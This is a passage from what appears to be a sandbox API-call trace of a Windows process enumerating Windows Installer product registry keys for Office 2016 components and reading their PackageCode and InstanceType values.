SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.750] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.750] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.750] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.751] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.751] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.751] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.751] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109E60090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.751] GetCurrentThreadId () returned 0xf50 [0068.751] GetCurrentThreadId () returned 0xf50 [0068.751] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.751] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.751] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.751] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.751] LocalFree (hMem=0x32f770) returned 0x0 [0068.751] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.751] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.751] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109E60090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.751] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.751] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.751] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109E60090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.752] memcpy (in: _Dst=0x348f98, _Src=0x7fef7b1c088, _Size=0x48 | out: _Dst=0x348f98) returned 0x348f98 [0068.752] memcpy (in: _Dst=0x348f50, _Src=0x7fef7b1c040, _Size=0x48 | out: _Dst=0x348f50) returned 0x348f50 [0068.752] memcpy (in: _Dst=0x348f08, _Src=0x7fef7b1bff8, _Size=0x48 | out: _Dst=0x348f08) returned 0x348f08 [0068.752] memcpy (in: _Dst=0x348ec0, _Src=0x7fef7b1bfb0, _Size=0x48 | out: _Dst=0x348ec0) returned 0x348ec0 [0068.752] memcpy (in: _Dst=0x348e78, _Src=0x7fef7b1bf68, _Size=0x48 | out: _Dst=0x348e78) returned 0x348e78 [0068.752] memcpy (in: _Dst=0x348e30, _Src=0x7fef7b1bf20, _Size=0x48 | out: _Dst=0x348e30) returned 0x348e30 [0068.752] memcpy (in: _Dst=0x348de8, _Src=0x7fef7b1bed8, _Size=0x48 | out: _Dst=0x348de8) returned 0x348de8 [0068.752] memcpy (in: _Dst=0x348da0, _Src=0x7fef7b1be90, _Size=0x48 | out: _Dst=0x348da0) returned 0x348da0 [0068.752] memcpy (in: _Dst=0x348d58, _Src=0x7fef7b1be48, _Size=0x48 | out: _Dst=0x348d58) returned 0x348d58 [0068.752] memcpy (in: _Dst=0x348d10, _Src=0x7fef7b1be00, _Size=0x48 | out: _Dst=0x348d10) returned 0x348d10 [0068.752] memcpy (in: _Dst=0x348cc8, _Src=0x7fef7b1bdb8, _Size=0x48 | out: _Dst=0x348cc8) returned 0x348cc8 [0068.752] memcpy (in: _Dst=0x348c80, _Src=0x7fef7b1bd70, _Size=0x48 | out: _Dst=0x348c80) returned 0x348c80 [0068.752] memcpy (in: _Dst=0x348c38, _Src=0x7fef7b1bd28, _Size=0x48 | out: _Dst=0x348c38) returned 0x348c38 [0068.752] memcpy (in: _Dst=0x348bf0, _Src=0x7fef7b1bce0, _Size=0x48 | out: _Dst=0x348bf0) returned 0x348bf0 [0068.752] memcpy (in: _Dst=0x348ba8, _Src=0x7fef7b1bc98, _Size=0x48 | out: _Dst=0x348ba8) returned 0x348ba8 [0068.753] memcpy (in: _Dst=0x348b60, _Src=0x7fef7b1bc50, _Size=0x48 | out: _Dst=0x348b60) returned 0x348b60 [0068.753] memcpy (in: _Dst=0x348b18, _Src=0x7fef7b1bc08, _Size=0x48 | out: _Dst=0x348b18) returned 0x348b18 [0068.753] memcpy (in: _Dst=0x348ad0, _Src=0x7fef7b1bbc0, _Size=0x48 | out: _Dst=0x348ad0) returned 0x348ad0 [0068.753] memcpy (in: _Dst=0x348a88, _Src=0x7fef7b1bb78, _Size=0x48 | out: _Dst=0x348a88) returned 0x348a88 [0068.753] memcpy (in: _Dst=0x348a40, _Src=0x7fef7b1bb30, _Size=0x48 | out: _Dst=0x348a40) returned 0x348a40 [0068.753] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="181F1C95374DF784DA1704AE8339C58B", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.753] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.753] lstrlenW (lpString="{90160000-006E-0409-0000-0000000FF1CE}") returned 38 [0068.753] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.753] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.753] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.753] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109E60090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.753] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.753] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.753] lstrlenW (lpString="0") returned 1 [0068.753] lstrlenW (lpString="0") returned 1 [0068.753] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.753] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{59C1F181-D473-487F-AD71-40EA38935CB8}") returned 1 [0068.754] GetCurrentThreadId () returned 0xf50 [0068.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.754] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x15, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109F10090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.754] GetCurrentThreadId () returned 0xf50 [0068.754] GetCurrentThreadId () returned 0xf50 [0068.754] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.754] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.754] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.754] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.754] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.754] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.755] GetCurrentThreadId () returned 0xf50 [0068.755] GetCurrentThreadId () returned 0xf50 [0068.755] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.755] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.755] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.755] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.755] LocalFree (hMem=0x32f770) returned 0x0 [0068.755] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.755] GetCurrentThreadId () returned 0xf50 [0068.755] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.755] lstrlenW (lpString="{90160000-001F-0409-0000-0000000FF1CE}") returned 38 [0068.755] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.755] GetCurrentThreadId () returned 0xf50 [0068.755] GetCurrentThreadId () returned 0xf50 [0068.755] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.755] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.756] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.756] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.756] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.756] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.756] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.756] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109F10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.756] GetCurrentThreadId () returned 0xf50 [0068.756] GetCurrentThreadId () returned 0xf50 [0068.756] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.757] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.757] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.757] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.757] LocalFree (hMem=0x32f770) returned 0x0 [0068.757] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.757] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.757] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109F10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.757] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.757] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.758] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.758] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="5C70DE4DDF2343842AB40298E8BA5D26", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.758] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.758] lstrlenW (lpString="{90160000-001F-0409-0000-0000000FF1CE}") returned 38 [0068.758] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.758] lstrlenW (lpString="00006109F10090400000000000F01FEC") returned 32 [0068.758] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.758] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109F10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.758] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.758] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.758] lstrlenW (lpString="0") returned 1 [0068.758] lstrlenW (lpString="0") returned 1 [0068.758] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.758] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{D4ED07C5-32FD-4834-A24B-20898EABD562}") returned -1 [0068.759] GetCurrentThreadId () returned 0xf50 [0068.759] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.759] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x16, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109F100A0C00000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.759] GetCurrentThreadId () returned 0xf50 [0068.759] GetCurrentThreadId () returned 0xf50 [0068.759] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.759] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.759] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.759] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.759] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.759] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.759] GetCurrentThreadId () returned 0xf50 [0068.759] GetCurrentThreadId () returned 0xf50 [0068.760] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.760] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.760] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.760] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.760] LocalFree (hMem=0x32f770) returned 0x0 [0068.760] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.760] GetCurrentThreadId () returned 0xf50 [0068.760] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.760] lstrlenW (lpString="{90160000-001F-0C0A-0000-0000000FF1CE}") returned 38 [0068.760] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.760] GetCurrentThreadId () returned 0xf50 [0068.760] GetCurrentThreadId () returned 0xf50 [0068.760] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.760] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.760] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.761] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.761] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.761] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.761] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.761] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109F100A0C00000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.761] GetCurrentThreadId () returned 0xf50 [0068.761] GetCurrentThreadId () returned 0xf50 [0068.761] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.761] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.761] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.761] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.761] LocalFree (hMem=0x32f770) returned 0x0 [0068.761] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.761] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.761] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109F100A0C00000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.761] lstrlenW (lpString="00006109F100A0C00000000000F01FEC") returned 32 [0068.761] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.761] 